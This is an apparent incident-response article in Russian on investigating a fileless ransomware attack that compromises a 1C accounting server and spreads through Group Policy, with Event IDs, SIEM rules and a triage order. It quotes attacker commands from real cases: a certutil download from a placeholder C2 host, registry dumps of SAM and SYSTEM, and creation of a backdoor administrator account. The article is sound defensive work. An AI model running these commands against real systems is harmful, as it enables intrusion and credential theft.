Расследование компрометации 1С и вымогателя через GPO

Понедельник, 9:15 утра. SOC ловит алерт: процесс rphost.exe на сервере 1С:Бухгалтерии породил cmd.exe с аргументом certutil -urlcache -f. Через 47 минут - второй сигнал: массовое изменение GPO-объектов в Active Directory. К обеду бухгалтерия, склад и кадровый учёт зашифрованы. Вредоносных файлов на диске - ноль.

Компания с выстроенным бэкап-процессом потеряла трое суток на восстановление. Не потому что бэкапы плохие - просто никто не понимал, через какой канал payload попал на 150 хостов одновременно. Нет дропнутого .exe, нет хэша для VirusTotal, нет сигнатуры для YARA. По данным CrowdStrike Global Threat Report, 79% атак в 2024 году прошли без традиционного malware - и этот кейс из той же породы. Разберём пошагово, где искать следы атакующего, когда искать, собственно, нечего.

Бизнес-логика атаки: зачем 1С и зачем GPO​

Сервер 1С - точка входа мечты, и вот почему. Служба работает под сервисной учётной записью с высокими привилегиями в домене - часто с правами на запись в SYSVOL. Веб-публикации баз 1С через IIS или Apache нередко торчат наружу без WAF (Exploit Public-Facing Application, T1190, Initial Access). А встроенный механизм внешних обработок (.epf) позволяет выполнять произвольный код от имени rphost.exe - это фактически штатный интерфейс для code execution. Не уязвимость - фича. Подробнее - в нашем обзоре расследование кибератаки.

GPO как транспорт payload - следующая фаза. Получив доменные привилегии, атакующий модифицирует существующий GPO или создаёт новый (Group Policy Modification, T1484.001, Defense Evasion / Privilege Escalation). После репликации SYSVOL каждая машина в OU применяет изменённую политику. Итог - массовое выполнение payload без lateral movement на каждый хост по отдельности, без файлов, которые EDR мог бы задетектить по сигнатуре. Красиво, если бы не было так больно.

Конечная цель: шифрование данных (Data Encrypted for Impact, T1486) с вымогательством. Оборотные штрафы за утечку персональных данных по 152-ФЗ (до 3% годовой выручки с 2025 года) добавляют давление - компании предпочитают платить, лишь бы инцидент не дошёл до регулятора.

Следы атакующего в 1С: первые артефакты​

Дочерние процессы rphost.exe и Event ID 4688​

Самый надёжный первый индикатор - дочерние процессы от rphost.exe. В штатном режиме рабочий процесс 1С (путь C:\Program Files\1cv8\<ver>\bin\rphost.exe) никогда не порождает cmd.exe, powershell.exe или certutil.exe. Любое такое событие - инцидент до доказательства обратного. Без оговорок.

Где искать: журнал Security, Event ID 4688 (Process Creation). Критически важно, чтобы была включена политика "Audit Process Creation" с записью командной строки. Без этого увидите факт запуска, но не аргументы - а аргументы тут решают всё.

Типичные паттерны из реальных расследований (по данным securelist.ru и JetCSIRT):

• Разведка: whoami, hostname, ipconfig /all, net user /domain - атакующий ориентируется в среде
• Дамп учётных данных: reg save HKLM\SAM, reg save HKLM\SYSTEM - извлечение хэшей локальных учётных записей
• Доставка инструментов: certutil -urlcache -f http://<C2>/server.exe - загрузка утилит (PowerShell, T1059.001, Execution)
• Закрепление: net user amdin P@ssw0rd /add и net localgroup Administrators amdin /add - создание backdoor-аккаунта (Domain Accounts, T1078.002). Обратите внимание на опечатку в "amdin" - это не баг статьи, а реальное имя из кейса. Атакующие тоже ошибаются.

В кейсе, опубликованном JetCSIRT на Хабре, цепочка выглядела так: rphost породил cmd, через certutil загрузил GodPotato для эскалации через SeImpersonatePrivilege. Следом - BYOVD-драйвер PoisonX.sys для отключения EDR (Event ID 7045 в журнале System: установка kernel mode service). Именно после отключения средств защиты атакующий перешёл к модификации GPO.

Журнал регистрации 1С и обнаружение шеллов​

Журнал регистрации хранит события доступа к базам - но его нужно уметь найти и прочитать. Это не Security.evtx, тут свои правила.

Где лежат файлы. Стандартный путь: C:\Program Files\1cv8\srvinfo\reg_<порт>\<GUID_базы>\1Cv8Log\. Два формата хранения: .lgd (SQLite-база, открывается любым SQLite-просмотрщиком) и набор .lgf + .lgp + .lgx (анализируется через Конфигуратор 1С, доступна community-лицензия). Надёжнее искать файлы через системный $MFT, а не по ожидаемым путям - атакующий мог переместить базы.

Что искать. Связка событий "Сеанс. Начало" -> "Сеанс. Аутентификация" -> "Сеанс. Завершение" покажет учётную запись, имя компьютера-источника и тип клиента (Конфигуратор, Тонкий клиент, Веб-клиент). Нюанс, о который спотыкаются: журнал фиксирует hostname, а не IP. Если подключение идёт через туннель - в логе окажется имя машины атакующего. Иногда это единственная зацепка.

Критический маркер компрометации: ошибки выполнения внешних обработок между событиями сеанса. Резко появившиеся записи "Ошибка выполнения" - почти наверняка попытка запуска 1С-шелла через .epf-обработку.

Файл 1CV8Clst.lst содержит маппинг GUID базы к её имени и - что совсем грустно - зашифрованные пароли от СУБД (AES с известными ключом и IV). Если атакующий получил этот файл, у него прямой доступ к SQL Server в обход логики 1С. Ключ и IV давно гуляют по форумам.

Технологический журнал - low-level лог платформы. Путь: %USERPROFILE%\AppData\Local\1C\1cv8\logs. Глубина хранения - около суток. Событие ADMIN фиксирует действия в консоли администрирования кластера. Если основные журналы Windows уже очищены (Clear Windows Event Logs, T1070.001), техжурнал может оказаться единственным живым источником. Сутки - мало, но лучше, чем ничего.

Эскалация привилегий в AD: от rphost до доменного администратора​

Получив code execution через rphost, атакующий повышает привилегии до SYSTEM/Domain Admin. Типичная цепочка: SeImpersonatePrivilege (есть у сервисных УЗ) -> GodPotato/PrintSpoofer -> токен SYSTEM -> дамп LSASS или NTDS.dit.

В некоторых инцидентах эскалация не требовалась вообще: сервисная учётная запись 1С уже имела достаточные права в AD для модификации GPO. Кто-то при установке кластера нажал "далее-далее-готово" и не урезал дефолты. Знакомо?

Анализ журналов событий Windows при атаке​

Ключевые Event ID для расследования:


Корреляция, которая почти не даёт ложных срабатываний: события 4720 + 4732, произошедшие от имени сервисной учётной записи 1С в течение 5 минут. Штатный администратор не создаёт локальных пользователей от УЗ, под которой работает rphost. Если видите такое - бросайте всё и разбирайтесь.

Распространение вымогателя через GPO: forensic-артефакты​

Для расследования снимите полную копию SYSVOL со всех DC - содержимое может различаться при проблемах с репликацией (а они бывают чаще, чем хотелось бы). Дата модификации .ps1 или ScheduledTasks.xml, совпадающая с таймлайном инцидента, - прямое доказательство.

Для идентификации изменённого GPO: Get-GPO -All | Sort-Object ModificationTime -Descending на DC или gpresult /r на поражённом хосте.

Event ID 5136 и 5137: атаки fileless через групповые политики​

Главный источник данных о модификации GPO на контроллерах домена - Event ID 5136 (изменение атрибута объекта AD) и Event ID 5137 (создание нового объекта). Для их появления должна быть включена политика "Audit Directory Service Changes" (подкатегория DS Access). Без неё - слепое пятно. Огромное слепое пятно, через которое и проходит вся атака.

В событии 5136 ищите поля: ObjectDN (DN изменённого GPO), AttributeLDAPDisplayName (какой атрибут изменён), AttributeValue. Изменение атрибута gPCMachineExtensionNames означает добавление нового CSE (Client-Side Extension) - это срабатывание модификации GPO-логики.

WMI и реестр: fileless-persistence​

GPO может создавать WMI Event Subscriptions через MOF-файлы или PowerShell. Подписка срабатывает по системному событию (логон, время) и выполняет payload. Артефакты: файлы OBJECTS.DATA, INDEX.BTR, MAPPING*.MAP в C:\Windows\System32\wbem\Repository\. Парсятся утилитами вроде PyWMIPersistenceFinder. Место неочевидное, и именно поэтому атакующие его любят.

Detection-чеклист: правила корреляции для SIEM​

Конкретные правила на основе разобранных артефактов - бери и адаптируй под свой стек:

Правило 1 - Подозрительный дочерний процесс rphost.exe. Event ID 4688: ParentImage содержит rphost.exe, NewProcessName содержит cmd.exe, powershell.exe, certutil.exe, bitsadmin.exe или mshta.exe. Severity: Critical.

Правило 2 - Создание пользователя от сервисной УЗ 1С. Event ID 4720: SubjectUserName равен сервисной УЗ 1С (USR1CV8, user1cv8 или аналогу). Severity: Critical.

Правило 3 - Модификация GPO в нерабочее время. Event ID 5136 на DC: ObjectClass = groupPolicyContainer, время вне рабочих часов или от УЗ не из whitelist. Severity: High.

Правило 4 - Создание нового GPO. Event ID 5137 на DC: ObjectClass = groupPolicyContainer, SubjectUserName не входит в whitelist GPO-администраторов. Severity: High.

Правило 5 - Установка kernel-mode драйвера. Event ID 7045: ServiceType = kernel mode driver, ServiceFileName не в whitelist. Severity: High.

Порядок сбора артефактов при расследовании инцидентов без малвари​

Для полного DFIR-расследования триаж идёт в таком порядке (и порядок тут не для красоты - он определяет, успеете ли вы собрать данные до ротации логов):

1. Контроллеры домена: Security.evtx (события 5136, 5137, 4720, 4732), полная копия SYSVOL, снимок AD через ntdsutil или KAPE
2. Сервер 1С: Security.evtx (4688, 4624), System.evtx (7045), PowerShell/Operational (4104), журнал регистрации 1С (.lgd/.lgf), технологический журнал, файл 1CV8Clst.lst, $MFT
3. Поражённые рабочие станции: Security.evtx, Sysmon-лог, каталог C:\Windows\System32\Tasks\, WMI-репозиторий, реестр (Run-ключи)
4. Веб-сервер (если 1С опубликован через IIS/Apache): access.log и error.log - следы перебора URL и попыток аутентификации к веб-клиенту 1С
5. SQL Server (если база на MSSQL): SQL Server Error Log, события 18456 (failed login) - покажут прямые обращения к базе в обход 1С

Для сбора подходят KAPE (автоматизация триажа) или Velociraptor (удалённый сбор с множества хостов параллельно). Построение таймлайна - через EvtxECmd + Timeline Explorer или plaso/log2timeline.

Каждый инцидент с компрометацией 1С через веб-публикацию, который я разбирал за последние два года, имел одну общую черту: сервисная учётная запись 1С обладала избыточными правами в домене. Не потому что кто-то сознательно решил дать ей доступ к GPO - просто при установке кластера нажали "далее-далее-готово" и не урезали дефолты. А потом rphost оказался единственным процессом, которому не нужна была ни эскалация привилегий, ни отдельный lateral movement - он и так мог писать в SYSVOL.

Расследование инцидентов без вредоносных файлов на диске - это другой зверь по сравнению с классическим кейсом, где на диске валяется .exe. Нет хэша, нет сигнатуры. Есть только Event ID, таймлайн и понимание того, как GPO раскатывает политики. Парадокс: защита от этого сценария не требует дорогих инструментов. Достаточно двух вещей - включённого аудита изменений AD-объектов (события 5136/5137) и запрета на модификацию GPO всем, кроме выделенной группы администраторов с MFA. Если бы в описанном кейсе с утра понедельника эти два контроля работали - SOC получил бы алерт на изменение GPO за 47 минут до начала шифрования, а не алерт на rphost, который к тому моменту уже отработал. Если у тебя другой стек детекции - на форуме codeby.net обсуждаем, как адаптировать подобные правила под конкретные SIEM.